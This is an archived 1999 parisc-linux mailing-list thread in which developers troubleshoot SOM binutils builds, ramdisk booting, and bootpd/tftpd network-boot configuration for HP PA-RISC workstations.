	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Sep 1999 14:32:45 -0600
Original-Received: (qmail 31373 invoked by uid 15267); 13 Sep 1999 20:34:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31366 invoked from network); 13 Sep 1999 20:34:55 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 13 Sep 1999 20:34:55 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA25033
	for <parisc-linux@thepuffingroup.com>; Mon, 13 Sep 1999 16:34:14 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA18055 for <parisc-linux@thepuffingroup.com>; Mon, 13 Sep 1999 13:32:55 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9904

Grant Grundler wrote:
...
> Sigh...I thought the object files were supposed to be SOM until I saw the
> following in the binutils/gas/configure:
>       parisc-*-linux*)         fmt=elf em=linux ;;
> 
> Should I change this to "som"?

I changed my local copy of configure as proposed above.
I removed /linux/parisc-linux/bin from my $PATH.
This doesn't build "out of the box" either...
Anyone have fixes for this not committed to the CVS tree?


grundler <429> ./configure --prefix=/linux --host=hppa1.1-hp-hpux11.00 --target=parisc-linux
grundler <430> make
...
cc -g -o as-new app.o as.o atof-generic.o bignum-copy.o cond.o depend.o ecoff.o ehopt.o expr.o flonum-copy.o flonum-konst.o flonum-mult.o frags.o hash.o input-file.o input-scrub.o listing.o literal.o macro.o messages.o output-file.o read.o sb.o stabs.o subsegs.o symbols.o write.o tc-hppa.o obj-som.o atof-ieee.o ../opcodes/.libs/libopcodes.a ../bfd/.libs/libbfd.a ../libiberty/libiberty.a
/usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file (app.o) was detected. The linked output may not run on a PA 1.x system.
/usr/ccs/bin/ld: Unsatisfied symbols:
   bfd_som_set_subsection_attributes (code)
   bfd_som_set_section_attributes (code)
   hppa_som_gen_reloc_type (code)
   bfd_som_attach_aux_hdr (code)
   bfd_som_set_symbol_type (code)
make[1]: *** [as-new] Error 1
make[1]: Leaving directory `/linux/binutils/gas'
make: *** [all-gas] Error 2
grundler <431>


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot problems on 715/33 with ramdisk.bin
Date: Wed, 15 Sep 1999 02:48:54 -0700 (PDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <19990915094854.6473.rocketmail@web503.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619756 13875 80.91.229.3 (22 Nov 2014 01:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Wed Sep 15 03:45:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA00377
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Sep 1999 03:45:34 -0600
Original-Received: (qmail 20432 invoked by uid 15267); 15 Sep 1999 09:47:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20425 invoked from network); 15 Sep 1999 09:47:45 -0000
Original-Received: from web503.mail.yahoo.com (HELO web503.yahoomail.com) (128.11.68.70)
  by mailserv2.iuinc.com with SMTP; 15 Sep 1999 09:47:45 -0000
Original-Received: from [149.234.12.1] by web503.mail.yahoo.com; Wed, 15 Sep 1999 02:48:54 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:9905

I have downloaded the kernel tree dated 19990813 from
ftp://puffin.external.hp.com/pub/parisc and added
ramdisk.bin to my top directory /usr/src/linux. After
a successful "make vmlinux" and "make Image" I tried
to boot the new kernel on my 715/33. The last boot
messages are:

Linux version 2.2.1 (root@be5359) (gcc version 2.8.1)
#1
 Mon Sep 13 17:51:40 METDST 1999
initrd: c0075000-c00cc800
urgh.

The bootloader starts with the messages:
Loading PA-RISC/Linux Kernel...
No ramdisks available.

What have I done wrong with the ramdisk support?

Also:
Booting via hpux does not seem to work anymore. I have
been on holidays the last 4 weeks, so I can't say when
this feature has disappeared. I also don't know, if
booting via hpux is still supported.

Ulrich
-------------------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@yahoo.com>
Berlin, Germany


__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building SOM tools
Date: Wed, 15 Sep 1999 08:08:01 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <199909151508.IAA19696@milano.cup.hp.com>
References: <199909132032.NAA18055@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619757 13881 80.91.229.3 (22 Nov 2014 01:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Sep 15 09:07:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA01814
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Sep 1999 09:07:52 -0600
Original-Received: (qmail 21960 invoked by uid 15267); 15 Sep 1999 15:10:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21949 invoked from network); 15 Sep 1999 15:10:03 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Sep 1999 15:10:03 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA03727
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 11:09:18 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id IAA19696 for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 08:08:01 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 13 Sep 1999 13:32:54 PDT."
             <199909132032.NAA18055@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9906


Hello folks,

I also tried configuring for "--target=hppa1.1-hp-hpux10.20".
That results in the same symbols missing ("/usr/ccs/bin/ld:
Unsatisfied symbols:"...).  Any hints on what next?

TIA,
grant

ps. The actual line changed in gas/configure is the "hppa-*-linux" case
   of "${generic_target}" switch (case) statement.
   The "parisc-*-linux" case is dead code and can be removed since
   the switch is on $generic_target and not $target.

Grant Grundler wrote:
> Grant Grundler wrote:
> ...
> > Sigh...I thought the object files were supposed to be SOM until I saw the
> > following in the binutils/gas/configure:
> >       parisc-*-linux*)         fmt=elf em=linux ;;
> > 
> > Should I change this to "som"?
> 
> I changed my local copy of configure as proposed above.
> I removed /linux/parisc-linux/bin from my $PATH.
> This doesn't build "out of the box" either...
> Anyone have fixes for this not committed to the CVS tree?
> 
> 
> grundler <429> ./configure --prefix=/linux --host=hppa1.1-hp-hpux11.00 --targ
>   et=parisc-linux
> grundler <430> make
> ...
> cc -g -o as-new app.o as.o atof-generic.o bignum-copy.o cond.o depend.o ecoff
>   .o ehopt.o expr.o flonum-copy.o flonum-konst.o flonum-mult.o frags.o hash.o
>    input-file.o input-scrub.o listing.o literal.o macro.o messages.o output-f
>   ile.o read.o sb.o stabs.o subsegs.o symbols.o write.o tc-hppa.o obj-som.o a
>   tof-ieee.o ../opcodes/.libs/libopcodes.a ../bfd/.libs/libbfd.a ../libiberty
>   /libiberty.a
> /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file (app.o) was detect
>   ed. The linked output may not run on a PA 1.x system.
> /usr/ccs/bin/ld: Unsatisfied symbols:
>    bfd_som_set_subsection_attributes (code)
>    bfd_som_set_section_attributes (code)
>    hppa_som_gen_reloc_type (code)
>    bfd_som_attach_aux_hdr (code)
>    bfd_som_set_symbol_type (code)
> make[1]: *** [as-new] Error 1
> make[1]: Leaving directory `/linux/binutils/gas'
> make: *** [all-gas] Error 2
> grundler <431>
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/100 bootpd fails
Date: Wed, 15 Sep 1999 14:21:50 -0700
Lines: 84
Approved: news@gmane.org
Message-ID: <199909152122.OAA20249@milano.cup.hp.com>
References: <199909151508.IAA19696@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619757 13882 80.91.229.3 (22 Nov 2014 01:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Sep 15 15:21:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA02344
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Sep 1999 15:21:46 -0600
Original-Received: (qmail 15538 invoked by uid 15267); 15 Sep 1999 21:23:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15526 invoked from network); 15 Sep 1999 21:23:58 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Sep 1999 21:23:58 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA28646
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 17:23:16 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA20249 for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 14:22:00 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 15 Sep 1999 08:08:01 PDT."
             <199909151508.IAA19696@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9907


Hi again,

Building "Image" but can't boot it via bootpd.
Here's what I've worked through so far...ideas?

My 715/100 (firmware 1.6, 64MB RAM, no disk) complains
	"ERROR: Cannot load IPL, error detected"

from either a 11.00 or 10.20 bootpd host.
"sea lan" at the target "BCH" (aka BOOT_ADMIN) shows both hosts.	
I think bootpd is configured "close enough" and the target
box is finding both bootpd servers and "Image" on each. I did
have a problem with public read permission on one host but
fixed that.

I downloaded Image-19990705 from the puffin.external.hp.com depot
and got the same result. So it's probably not a tools issue.  :^/
Building mkImage with "cc" might make a difference - but I doubt it.
I also doubt the mkImages changes I posted earlier today matter either.

"file Image" tells me Image is a lif file.
But "lifls" says it's not. The contradiction is a bit annoying.
Can someone cook the makefile to use lifinit/lifcp instead of mkImage.c?
I'm not sure it's possible but would be good if we could.

I'll try a different box (712/80) and see what that says.
I have a scratch disk on this box and could try dumping "Image"
to disk to see if it's a problem with how Image is built or
how the bootp server is transmitting data to the target.

Someone locally suggested UDP checksum had to be either on or off.
Anyone know about this (and if so, how to set/clear it appriopriately)?

The rest is just FYI.

grant


grundler <417>make Image
make -C arch/parisc/boot Image
make[1]: Entering directory `/linux/linux/arch/parisc/boot'
make[2]: Entering directory `/linux/linux/arch/parisc/boot/boot_code'
ld -nostdlib -N -H -R0x500000 ipl_s.o ipl_c.o rom_interface.o cache.o  -o ipl
ld: (Warning) Linker features were used that may not be supported in future releases. The +vallcompatwarnings option can be used to display more details, and the ld(1) man page contains additional information. This warning can be suppressed with the +vnocompatwarnings option.
strip ipl
make[2]: Leaving directory `/linux/linux/arch/parisc/boot/boot_code'
./mkImage boot_code/ipl ../../../vmlinux Image
Image 'Image' created.
Added IPL 'boot_code/ipl', 4084 pad bytes, checksum 0x098B99B2.
IPL will be relocated at run-time to 0x00500000.
Added Linux-SOM-Kernel '../../../vmlinux', 1060kB, entry-point at 0xC0010000.
Bootable Linux-Image 'Image' is ready to go !
chmod a+rw Image        # better change that in mkImage.c-source...
make[1]: Leaving directory `/linux/linux/arch/parisc/boot'

grundler <419>file /linux/linux/arch/parisc/boot/Image
/linux/linux/arch/parisc/boot/Image:    lif file
grundler <420>lifls /linux/linux/arch/parisc/boot/Image
lifls: Can't list /linux/linux/arch/parisc/boot/Image; not a LIF volume

[ 11.00 and 10.20 agree on this result - grant ]

grundler <421>tail /etc/bootptab
lego02b:\
        hd=/linux/linux/arch/parisc/boot:\
        bf=Image:\
        ba:bs:\
        vm=auto:\
        ht=ethernet:\
        ha=0800095F7A88:\
        sm=255.255.248.0:\
        ip=15.16.122.147
grundler <422>uname -a
HP-UX rock B.11.00 A 9000/800 2016163551 two-user license
grundler <423>model
9000/800/D390



Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 bootpd fails
Date: Wed, 15 Sep 1999 23:56:23 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <19990915235623.D8112@suse.de>
References: <199909151508.IAA19696@milano.cup.hp.com> <199909152122.OAA20249@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619757 13886 80.91.229.3 (22 Nov 2014 01:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Wed Sep 15 15:54:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA02567
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Sep 1999 15:54:18 -0600
Original-Received: (qmail 1827 invoked by uid 15267); 15 Sep 1999 21:56:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1809 invoked from network); 15 Sep 1999 21:56:30 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 15 Sep 1999 21:56:30 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 69DD532CD4; Wed, 15 Sep 1999 23:56:29 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id E60C467B3; Wed, 15 Sep 1999 23:56:24 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 70D997F8B; Wed, 15 Sep 1999 23:56:23 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909152122.OAA20249@milano.cup.hp.com>; from Grant Grundler on Wed, Sep 15, 1999 at 02:21:50PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9908

> Building "Image" but can't boot it via bootpd.
> Here's what I've worked through so far...ideas?
> 
> My 715/100 (firmware 1.6, 64MB RAM, no disk) complains
> 	"ERROR: Cannot load IPL, error detected"

> from either a 11.00 or 10.20 bootpd host.
> "sea lan" at the target "BCH" (aka BOOT_ADMIN) shows both hosts.	
> I think bootpd is configured "close enough" and the target
> box is finding both bootpd servers and "Image" on each. I did
> have a problem with public read permission on one host but
> fixed that.

My guess is your bootpd / tftpd does not work properly.  Just as it might
help, here is my configuration:

/etc/bootptab:
puffin:ha=0010830329ee:ip=10.10.0.95:sm=255.255.0.0:bf=/tftpboot/kernel-puffin:td=/tftpboot/
herring:ha=08000987F208:ip=10.10.0.96:sm=255.255.0.0:bf=/tftpboot/kernel-herring:td=/tftpboot/

tftpd is started from inetd, inetd.conf line is:
tftp    dgram   udp     wait    nobody  /usr/sbin/tcpd  in.tftpd /tftpboot

$ tftp localhost
tftp> get kernel-puffin
Received 1039957 bytes in 1.2 seconds
tftp> get kernel-herring
Received 1039957 bytes in 1.1 seconds
tftp> 

# bootpd -d9
bootpd: info(6):   bootptab mtime: Thu Jul  8 16:27:42 1999
bootpd: info(6):   reading "/etc/bootptab"
bootpd: info(6):   read 2 entries (2 hosts) from "/etc/bootptab"
bootpd: info(6):   recvd pkt from IP addr 0.0.0.0
bootpd: info(6):   bootptab mtime: Thu Jul  8 16:27:42 1999
bootpd: info(6):   request from Ethernet address 00:10:83:03:29:EE
bootpd: info(6):   found 10.10.0.95 (puffin)
bootpd: info(6):   bootfile="/tftpboot/kernel-puffin"
bootpd: info(6):   vendor magic field is 99.130.83.99
bootpd: info(6):   sending reply (with RFC1048 options)
bootpd: info(6):   setarp 10.10.0.95 - 00:10:83:03:29:EE

I have no idea how to translate all that to HP/UX.

> grundler <421>tail /etc/bootptab
> lego02b:\
>         hd=/linux/linux/arch/parisc/boot:\
>         bf=Image:\

appropriate permissions on this ? is tftpd started with / as root (not
/tftpboot as usual) ?

	Philipp Rumpf


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 bootpd fails
Date: Wed, 15 Sep 1999 14:58:15 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <199909152158.OAA20344@milano.cup.hp.com>
References: <199909152122.OAA20249@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619758 13889 80.91.229.3 (22 Nov 2014 01:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Sep 15 15:58:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA02730
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Sep 1999 15:58:49 -0600
Original-Received: (qmail 4561 invoked by uid 15267); 15 Sep 1999 22:01:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4375 invoked from network); 15 Sep 1999 22:00:50 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Sep 1999 22:00:50 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA11620
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 17:59:40 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA20344 for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 14:58:16 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 15 Sep 1999 14:21:50 PDT."
             <199909152122.OAA20249@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9909

Grant Grundler wrote:
...
> My 715/100 (firmware 1.6, 64MB RAM, no disk) complains
> 	"ERROR: Cannot load IPL, error detected"
...
> I'll try a different box (712/80) and see what that says.
> I have a scratch disk on this box and could try dumping "Image"
> to disk to see if it's a problem with how Image is built or
> how the bootp server is transmitting data to the target.

Looks like the latter though I don't like lifls complaining about it.

The 712/80 can load/run Image from disk but immediately dumps me back
into "BOOT_ADMIN" prompt when trying via the lan. I don't even
get an error messages - darn computer is probably just to fast for
me to read it....I'll switch to a serial console. Anybody wants
the console output for the 712/80, let me know.

grant


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 bootpd fails
Date: Wed, 15 Sep 1999 15:26:29 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <199909152226.PAA20425@milano.cup.hp.com>
References: <19990915235623.D8112@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619758 13891 80.91.229.3 (22 Nov 2014 01:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Wed Sep 15 16:26:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA03034
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Sep 1999 16:26:14 -0600
Original-Received: (qmail 19420 invoked by uid 15267); 15 Sep 1999 22:28:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19409 invoked from network); 15 Sep 1999 22:28:26 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 15 Sep 1999 22:28:26 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA25391
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 15:28:23 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA20425; Wed, 15 Sep 1999 15:26:29 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 15 Sep 1999 23:56:23 PDT."
             <19990915235623.D8112@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9910

Philipp Rumpf wrote:

> My guess is your bootpd / tftpd does not work properly.  Just as it might
> help, here is my configuration:

Yup - that was right.

I got a call from another parisc-linux "lurker" and the
configuration for HP-UX is

/etc/inetd.conf:
tftp        dgram  udp wait   root /usr/lbin/tftpd    tftpd \
                /linux/linux/arch/parisc/boot \
                /home/tftpd
bootps      dgram  udp wait   root /usr/lbin/bootpd   bootpd -d3

[ the -d3 could be omitted ]

and /etc/bootptab:
lego02b:\
        hn:\
        sm=255.255.248.0:\
        vm=rfc1048:\
        ht=ether:\
        ha=0800095F7A88:\
        ip=15.16.122.147
        bf=/linux/linux/arch/parisc/boot/Image

We didn't specify "gw=xxx" since my host and target are on
the same subnet. Hope this helps others as well...

thanks again philip,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 bootpd fails
Date: Wed, 15 Sep 1999 15:52:43 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <199909152252.PAA20482@milano.cup.hp.com>
References: <199909152226.PAA20425@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619758 13894 80.91.229.3 (22 Nov 2014 01:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:18 +0000 (UTC)
To: Philipp Rumpf <prumpf@suse.de>, parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Sep 15 16:52:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA03311
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Sep 1999 16:52:25 -0600
Original-Received: (qmail 1567 invoked by uid 15267); 15 Sep 1999 22:54:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1560 invoked from network); 15 Sep 1999 22:54:37 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Sep 1999 22:54:37 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA25536
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Sep 1999 18:53:57 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA20482; Wed, 15 Sep 1999 15:52:43 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 15 Sep 1999 15:26:29 PDT."
             <199909152226.PAA20425@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9911


Sorry....typo was mine.

Grant Grundler wrote:
...
> and /etc/bootptab:
> lego02b:\
>         hn:\
>         sm=255.255.248.0:\
>         vm=rfc1048:\
>         ht=ether:\
>         ha=0800095F7A88:\
>         ip=15.16.122.147

wants ":\" appended or bootpd won't pick up the next line.

>         bf=/linux/linux/arch/parisc/boot/Image
> 
> We didn't specify "gw=xxx" since my host and target are on
> the same subnet. Hope this helps others as well...

grant


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/100 data page fault and msg output
Date: Thu, 16 Sep 1999 14:58:14 -0700
Lines: 81
Approved: news@gmane.org
Message-ID: <199909162158.OAA21289@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619759 13899 80.91.229.3 (22 Nov 2014 01:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Sep 16 16:05:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA04735
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 16:05:30 -0600
Original-Received: (qmail 18230 invoked by uid 15267); 16 Sep 1999 22:00:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18142 invoked from network); 16 Sep 1999 22:00:12 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 16 Sep 1999 22:00:12 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA24548
	for <parisc-linux@thepuffingroup.com>; Thu, 16 Sep 1999 15:00:05 -0700 (PDT)
